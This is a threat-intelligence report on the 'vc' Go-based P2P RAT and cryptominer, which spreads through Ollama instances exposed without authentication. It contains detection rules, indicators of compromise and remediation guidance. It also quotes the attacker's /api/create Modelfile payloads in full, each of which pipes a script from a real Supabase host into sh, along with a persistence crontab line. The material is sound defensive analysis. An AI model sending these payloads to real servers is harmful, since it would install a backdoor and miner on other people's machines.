Threat reportMalwareTL-2026-0553
Stealthy P2P Cryptominer Targeting Ollama Endpoints — Custom Go-Based 'vc' RAT/Dropper (Akamai SIRT)
Akamai SIRT identified a custom Go-based peer-to-peer Remote Access Trojan named 'vc' that operates as a backdoor and cryptominer dropper targeting exposed Ollama LLM endpoints. The attacker abuses the unauthenticated /api/create endpoint on TCP 11434 with malicious Modelfile payloads (RUN and TEMPLATE+exec injection) to pipe a curl|sh installer (i.sh) into the host, dropping a UPX-packed Go binary that runs as the Ollama process owner.
Key facts
| Identifiers | TL-2026-0553 |
|---|---|
| Also known as | vc cryptominer, vc RAT, core-node-01 |
| Severity | HIGH |
| Affected products | Ollama Ollama |
| Weaknesses (CWE) | CWE-78, CWE-306, CWE-94 |
| Malware | hydraPersistence, vc |
| Tools | UPX, XMRig, libp2p |
| MITRE ATT&CK techniques | T1027.002 Obfuscated Files or Information: Software Packing, T1036.003 Rename Legitimate Utilities, T1036.005 Match Legitimate Resource Name or Location, T1053.003 Scheduled Task/Job: Cron, T1057 Process Discovery, T1059.004 Command and Scripting Interpreter: Unix Shell, T1059.006 Command and Scripting Interpreter: Python, T1070.004 Indicator Removal: File Deletion, T1071.001 Application Layer Protocol: Web Protocols, T1090.001 Proxy: Internal Proxy, T1090.003 Proxy: Multi-hop Proxy, T1095 Non-Application Layer Protocol and 11 more in the attack flow |
| Motivation | FINANCIAL |
| Target sectors | technology, ai-infrastructure, research, academia, cloud-services |
| Target regions | Global, North America, Europe, Asia |
| Detection rules | 9 (1 shown free) |
| Sources | 8 cited sources |
Detection coverage
As of 2026-05-21, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0553 across Splunk SPL, Microsoft KQL and Sigma, covering 28 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.
Free detection: vc libp2p P2P C2 Mesh — QUIC/WebRTC/DTLS Egress and Stratum Proxy on 127.0.0.1:41947
Detects the libp2p decentralized C2 + mining-proxy network behavior of the vc malware: outbound QUIC/UDP-443 and WebSocket from non-browser server workloads, libp2p multistream-select handshake bytes, and the local Stratum bridge listener on 127.0.0.1:41947.
- Languages: Splunk SPL, Microsoft KQL, Sigma
- ATT&CK: T1071.001, T1090.001, T1090.003, T1095, T1573.002, T1496
- Data sources: zeek_conn, suricata, pan_traffic, netflow, edr_network_events
- Severity: high
- Confidence: high
Splunk SPL
index=network (sourcetype IN ("stream:udp","zeek_conn","suricata","pan:traffic","netflow"))
| eval is_quic443=if((transport="udp" OR proto="udp") AND (dest_port=443 OR dst_port=443),1,0)
| eval is_ws=if(match(coalesce(http_upgrade,upgrade_header,""),"(?i)websocket"),1,0)
| eval is_libp2p=if(match(coalesce(payload_printable,payload,""),"(?i)/multistream/|/ipfs/|/libp2p/|/noise|/yamux"),1,0)
| eval src_role=coalesce(src_category, asset_role, host_role)
| where (is_quic443=1 AND NOT match(src_role,"(?i)browser|user-endpoint|workstation"))
OR is_libp2p=1
OR (transport="tcp" AND dest_ip="127.0.0.1" AND dest_port=41947)
| stats count, values(src_ip) AS src_ips, values(dest_ip) AS dst_ips, values(dest_port) AS dst_ports, sum(is_quic443) AS quic443_hits, sum(is_libp2p) AS libp2p_hits BY src_ip
| where (quic443_hits>=20) OR (libp2p_hits>=1) OR (count>=1 AND mvfind(dst_ports,"41947")>=0)Microsoft KQL
// vc libp2p mesh + Stratum proxy detection (QUIC/UDP-443 + WS + 127.0.0.1:41947)
let window = 1h;
DeviceNetworkEvents
| where Timestamp > ago(window)
| where (Protocol == "Udp" and RemotePort == 443)
or (RemoteIP == "127.0.0.1" and RemotePort == 41947)
or (RemoteUrl has_cs "/multistream/" or RemoteUrl has_cs "/libp2p/")
| extend is_quic = iff(Protocol == "Udp" and RemotePort == 443, 1, 0)
| extend is_stratum_bridge = iff(RemoteIP == "127.0.0.1" and RemotePort == 41947, 1, 0)
| summarize quic_hits = sum(is_quic), bridge_hits = sum(is_stratum_bridge), peers = dcount(RemoteIP), procs = make_set(InitiatingProcessFileName) by DeviceName, InitiatingProcessFolderPath
| where (quic_hits >= 20 and InitiatingProcessFolderPath startswith "/dev/shm/") or bridge_hits >= 1
| extend severity = "high"Sigma
title: vc libp2p P2P C2 — QUIC/WebSocket Egress and Local Stratum Proxy Bridge
id: 7d4a9c1e-553a-4d11-8f0c-aaee0553cccc
status: experimental
description: Detects libp2p decentralized C2 traffic patterns associated with the vc cryptominer — sustained outbound QUIC/UDP-443 from server workloads, WebSocket upgrades from /dev/shm processes, libp2p multistream-select markers in payloads, and the local Stratum-to-libp2p bridge listener on 127.0.0.1:41947.
references:
- https://www.akamai.com/blog/security-research/2026/may/stealthy-p2p-cryptominer-ollama-endpoints
- https://libp2p.io/
author: Threadlinqs Team
date: 2026/05/21
tags:
- attack.command_and_control
- attack.t1071.001
- attack.t1090.001
- attack.t1090.003
- attack.t1095
- attack.t1573.002
- attack.impact
- attack.t1496
logsource:
product: linux
category: network_connection
detection:
stratum_bridge:
DestinationIp: '127.0.0.1'
DestinationPort: 41947
libp2p_marker:
Payload|re|i: '/multistream/|/ipfs/|/libp2p/|/noise|/yamux'
quic_from_shm:
Protocol: 'udp'
DestinationPort: 443
Image|startswith: '/dev/shm/'
condition: stratum_bridge or libp2p_marker or quic_from_shm
falsepositives:
- Legitimate HTTP/3 client traffic from server workloads (rare — exclude known browsers, package managers, telemetry agents)
- Sanctioned libp2p / IPFS deployments (allowlist the host)
level: high
Known false positives:
- Sanctioned IPFS/libp2p nodes (allowlist the host)
- HTTP/3 enabled package managers or telemetry agents performing legitimate QUIC traffic
Tuning notes: Pair QUIC/UDP-443 alert with process attribution — only alert when the initiating image lives in /dev/shm/ or is named kworker-*. Allowlist sanctioned IPFS nodes and HTTP/3 services. The 127.0.0.1:41947 Stratum bridge listener is a deterministic indicator and should fire on a single hit.
- Ollama /api/create Modelfile Injection Targeting Public 11434 — vc Initial Access (KQL) · unlock with TL Creds
- vc hydraPersistence — Root Crontab Self-Heal Referencing /dev/shm (KQL) · unlock with TL Creds
- Supabase Staging URL and XMRig/libp2p Ingress Tool Transfer — vc Dropper Payload Fetch (KQL) · unlock with TL Creds
- Sigma — Ollama Modelfile Injection via /api/create (vc Exploitation) · unlock with TL Creds
- Sigma — /dev/shm Execution and kworker Argv0 Spoofing (vc Post-Exploitation) · unlock with TL Creds
- Sigma — libp2p P2P Egress and Local Stratum Bridge :41947 (vc C2) · unlock with TL Creds
- Ollama Modelfile RUN/TEMPLATE Shell Injection via /api/create — vc Dropper Exploitation · unlock with TL Creds
- vc Cryptominer Post-Exploitation — /dev/shm Hidden Artifacts and kworker Masquerade · unlock with TL Creds
Indicators of compromise
As of 2026-05-21, Threadlinqs Intelligence tracks 28 indicators of compromise for TL-2026-0553.
Sample indicators (3 of 28)
- Domain:
auzhpjmyaqayopaqidmc[.]supabase[.]co - File hash:
18a60f4122d10fc342977345cc1d494784ca55285eea37dddf90c6b9829b6d4b - Domain:
cloud-metrics[.]io
Defanged, TLP:CLEAR. Full set of 28 indicators: unlock with TL Creds.
Technical analysis
The malware uses a custom libp2p stack (WebRTC, QUIC, DTLS, UPnP) to route Monero (XMRig) mining traffic through a decentralized P2P network, eliminating any single C2 IP/domain to block.
On 2026-05-21 Akamai's Security Intelligence Response Team (Larry Cashdollar) published forensic analysis of a novel custom Go-based malware family observed attacking the SIRT's purpose-built LLM honeypot. The malware, internally named 'vc', is delivered through abuse of legitimate Ollama Modelfile functionality on internet-exposed Ollama servers (default TCP port 11434, no authentication).
Initial Access: The attacker sends a POST to /api/create with one of two crafted Modelfile payloads. Payload 1 uses the RUN directive to execute a curl-piped-to-shell command at model creation time:
{"name":"sys_check","modelfile":"FROM scratch\nRUN curl -sL https://auzhpjmyaqayopaqidmc.supabase.co/storage/v1/object/public/p/i.sh | sh","stream":false}
Payload 2 uses the TEMPLATE directive combined with the Ollama exec() template helper to achieve the same shell command execution at template render time:
{"name":"sys_update","modelfile":"FROM scratch\nTEMPLATE \"{{ .Prompt }} {{ exec \\\"curl -sL https://auzhpjmyaqayopaqidmc.supabase.co/storage/v1/object/public/p/i.sh | sh\\\" }}\"","stream":false}
Both payloads cause the Ollama server to download and execute attacker-controlled shell code as the user account running the Ollama process. The download URL is hosted on a public Supabase storage bucket (auzhpjmyaqayopaqidmc.supabase.co), abusing a legitimate cloud service to evade reputation-based blocking.
Installer Script (i.sh): The shell installer is a minimal failover downloader. It writes the next-stage binary to a RAM-disk path /dev/shm/.sys-update, executes it in the background, and never touches conventional persistent filesystems. Failover logic tries curl, then wget, then a Python 3 urllib.request fallback, ensuring delivery on diverse Linux hosts.
The 'vc' Binary: vc is a custom x86 binary written in Go 1.25.7, UPX-packed, with a deliberately falsified UPX header inserted to disrupt automated unpackers and static analyzers. The unpacked binary embeds a full libp2p decentralized networking stack — the same framework used by IPFS and Filecoin — supporting WebRTC, QUIC, DTLS, and UPnP NAT traversal. There is no traditional C2 server; mining traffic and command channels are multiplexed through a global libp2p mesh, where the malware advertises peer ID 12D3KooWGfRjvTvgfV4eXnFWLV26GG7TciWX7ycBiGPnA7ubVmbG and internal node identifier core-node-01.
Execution Chain (seven steps observed by Akamai): 1) The binary copies itself to /dev/shm/.udev-mesh-node (RAM disk; bypasses disk-based EDR scans). 2) Drops two additional binaries into RAM: /dev/shm/kworker-main (the 21 MB libp2p P2P proxy) and /dev/shm/kworker-run (a 2.6 MB XMRig Monero miner). 3) Renames the main process to kworker-main (matches kernel-thread name convention to evade ps inspection). 4) Starts a local Stratum-style mining proxy on 127.0.0.1:41947, then bridges that proxy through the libp2p mesh to a decentralized mining pool — defeating Stratum-port and pool-IP egress blocks. 5) Launches XMRig with wallet 42qxWtESb9t1jvteBGCJybRiHB2x6fiMmhmosjUxfDsFUMLtJgYheVUaac2dvHrDfwcogpQFbTz4h2GXkB1rxonqUJQnUyz and a 50% CPU cap to remain below noise thresholds. 6) Exposes RAT primitives (arbitrary OS command execution) reachable over the libp2p mesh, executing as the Ollama process owner. 7) Plants a root crontab line for self-healing persistence: */15 * * * * pgrep -x kworker-run || /dev/shm/.udev-mesh-node — relaunching the dropper every 15 minutes if the miner process is missing. Persistence logic is encapsulated in an internal Go function named hydraPersistence.
Defense Evasion Highlights: kworker process masquerade; .udev-mesh-node and .sys-update hidden-file naming; RAM-disk-only execution (no on-disk artifact after i.sh wipes the dropper); fake UPX header; encrypted P2P channel (DTLS); QUIC over UDP/443 blending with normal HTTP/3 egress.
Note on the Underlying Weakness: The Modelfile RUN and TEMPLATE+exec primitives abused here are intended features of the Ollama Modelfile DSL. There is no CVE assigned to the abuse itself; the root cause is internet-exposed Ollama servers bound to 0.0.0.0:11434 without authentication. This same exposure class enabled prior threats including CVE-2024-37032 (ProbLLama, Wiz Research) and the November 2024 Oligo Security cluster (CVE-2024-39719/39720/39721/39722). As of January 2026 (SentinelLABS + Censys) approximately 175,000 unique Ollama instances were exposed worldwide.
MITRE ATT&CK techniques by tactic:
Defense Evasion
T1027.002 Obfuscated Files or Information: Software Packing; T1036.003 Rename Legitimate Utilities; T1036.005 Match Legitimate Resource Name or Location; T1070.004 Indicator Removal: File Deletion; T1140 Deobfuscate/Decode Files or Information; T1564.001 Hide Artifacts: Hidden Files and Directories; T1620 Reflective Code Loading; T1622 Debugger Evasion
Persistence
T1053.003 Scheduled Task/Job: Cron
Discovery
Execution
T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.006 Command and Scripting Interpreter: Python; T1204 User Execution
Command and Control
T1071.001 Application Layer Protocol: Web Protocols; T1090.001 Proxy: Internal Proxy; T1090.003 Proxy: Multi-hop Proxy; T1095 Non-Application Layer Protocol; T1105 Ingress Tool Transfer; T1573.002 Encrypted Channel: Asymmetric Cryptography
Initial Access
T1190 Exploit Public-Facing Application
Impact
Resource Development
T1583.006 Acquire Infrastructure: Web Services; T1588.002 Obtain Capabilities: Tool
Remediation
Patches
- Upgrade Ollama to the latest release and enable authentication — Ollama added native access controls; configure OLLAMA_HOST=127.0.0.1 if exposure is unintended
Immediate actions
- Isolate any host where the vc binary was executed — disconnect from network immediately
- Inspect /dev/shm for files .udev-mesh-node, .sys-update, kworker-main, kworker-run and remove
- Audit crontabs (root and all users) for entries containing '/dev/shm/' or 'pgrep -x kworker-run' and remove
- Audit ~/.bashrc and systemctl units for any references to kworker-main, kworker-run, or /dev/shm artifacts
- Kill any running processes named kworker-main, kworker-run, or .udev-mesh-node (verify against /proc/<pid>/exe path; legitimate kworker threads have no exe file)
- Capture a memory dump from compromised hosts before reboot — libp2p peer list and crypto keys may be recoverable from RAM
- Block outbound UDP/443 (QUIC) and unexpected WebSocket egress at the perimeter to disrupt P2P mesh communication
- Block outbound traffic to auzhpjmyaqayopaqidmc.supabase.co and cloud-metrics.io
Workarounds
- Firewall TCP 11434 inbound from untrusted networks
- Disable or restrict the Modelfile RUN/TEMPLATE+exec primitives via reverse-proxy request inspection if the upstream Ollama version does not provide a configuration knob
Longer-term hardening
- Never expose Ollama (TCP 11434) directly to the internet — bind to 127.0.0.1 or behind a reverse proxy with authentication
- Place all internal LLM inference endpoints behind an authenticating gateway (API key, mTLS, or zero-trust proxy)
- Deploy EDR with behavioral detection for /dev/shm execution, process-name spoofing of kworker, and outbound P2P/libp2p traffic patterns
- Implement egress filtering allowlists; deny QUIC and WebSocket to non-approved destinations from server workloads
- Monitor /api/create POST bodies for RUN/TEMPLATE Modelfile directives containing shell commands or exec() helpers — treat any 'FROM scratch' with shell payload as malicious
- Establish baseline of legitimate cron entries; alert on cron additions referencing /dev/shm or pgrep self-healing patterns
- Subscribe to Akamai SIRT, Wiz, and Oligo Ollama advisories; track new Ollama CVEs (CVE-2024-37032 / -39719 / -39720 / -39721 / -39722) for patch posture
Affected and fixed versions
- Ollama — Ollama
Vulnerable versions: any version exposed on 0.0.0.0:11434 without authentication
Fixed in: mitigated by binding to 127.0.0.1 or fronting with authenticated reverse proxy
Timeline
- CVE-2024-37032 (ProbLLama) disclosed by Wiz Research — path-traversal RCE in Ollama /api/pull, /api/push, /api/create endpoints in versions prior to 0.1.34; established the threat model for Ollama-endpoint abuse.
- Oligo Security publishes 'More Models, More ProbLLMs' disclosing CVE-2024-39719/39720/39721/39722 — additional vulnerabilities in unauthenticated Ollama management endpoints including /api/create.
- SentinelLABS and Censys ('Operation Bizarre Bazaar') report approximately 175,000 publicly exposed Ollama instances worldwide, none with authentication — the attack surface for the vc dropper.
- Akamai SIRT honeypot begins recording the /api/create RUN and TEMPLATE+exec payloads delivering the locked-ioc-12 installer from locked-ioc-6 (approximate; Akamai blog cites 'recent' observation prior to publication).
- Threadlinqs Intelligence ingests the threat as TL-2026-0553 with full IOC, MITRE, and detection coverage.
- Akamai SIRT (Larry Cashdollar) publishes forensic analysis of the vc Go-based P2P RAT/cryptominer dropper, releasing SHA256 hashes for locked-ioc-12 and vc (packed/unpacked), the libp2p peer ID 12D3KooWGfRjvTvgfV4eXnFWLV26GG7TciWX7ycBiGPnA7ubVmbG, the Monero wallet 42qxWtESb9t1jv..., and recommended mitigations.
- As of 2026-05-29, the 'vc' Ollama cryptominer/RAT (Akamai SIRT, 2026-05-21) remains active: no CVE, no takedown, and its decentralized libp2p C2 plus public-cloud staging are takedown-resistant by design. The root cause (~175,000 unauthenticated Ollama hosts on 11434) is unpatched and independently confirmed under heavy 2026 exploitation; config-only mitigation (bind 127.0.0.1/auth).
Sources cited
- NVD - CVE-2024-37032 NVD (NIST) · Advisory · 2024-05-31
- Decentralized Threat: Stealthy P2P Cryptominer Targeting Ollama Endpoints akamai.com · Research · 2026-05-21
- Probllama: Ollama Remote Code Execution Vulnerability (CVE-2024-37032) Wiz · Research · 2024-06-24
- More Models, More ProbLLMs — Six Vulnerabilities in Ollama oligo.security · Research · 2024-11-04
- Ollama Drama — Investigating the Prevalence of Open Ollama Instances censys.com · Research · 2025-09-15
- libp2p — Modular peer-to-peer networking stack libp2p.io · Vendor report · 2026-01-01
- XMRig — Monero CPU miner GitHub · Code repository · 2026-01-01
- Researchers Find 175,000 Publicly Exposed Ollama AI Servers The Hacker News · News · 2026-01-29
Previous and next in malware
Drafted by the Threadlinqs research pipeline from 8 sources; published ; last updated —.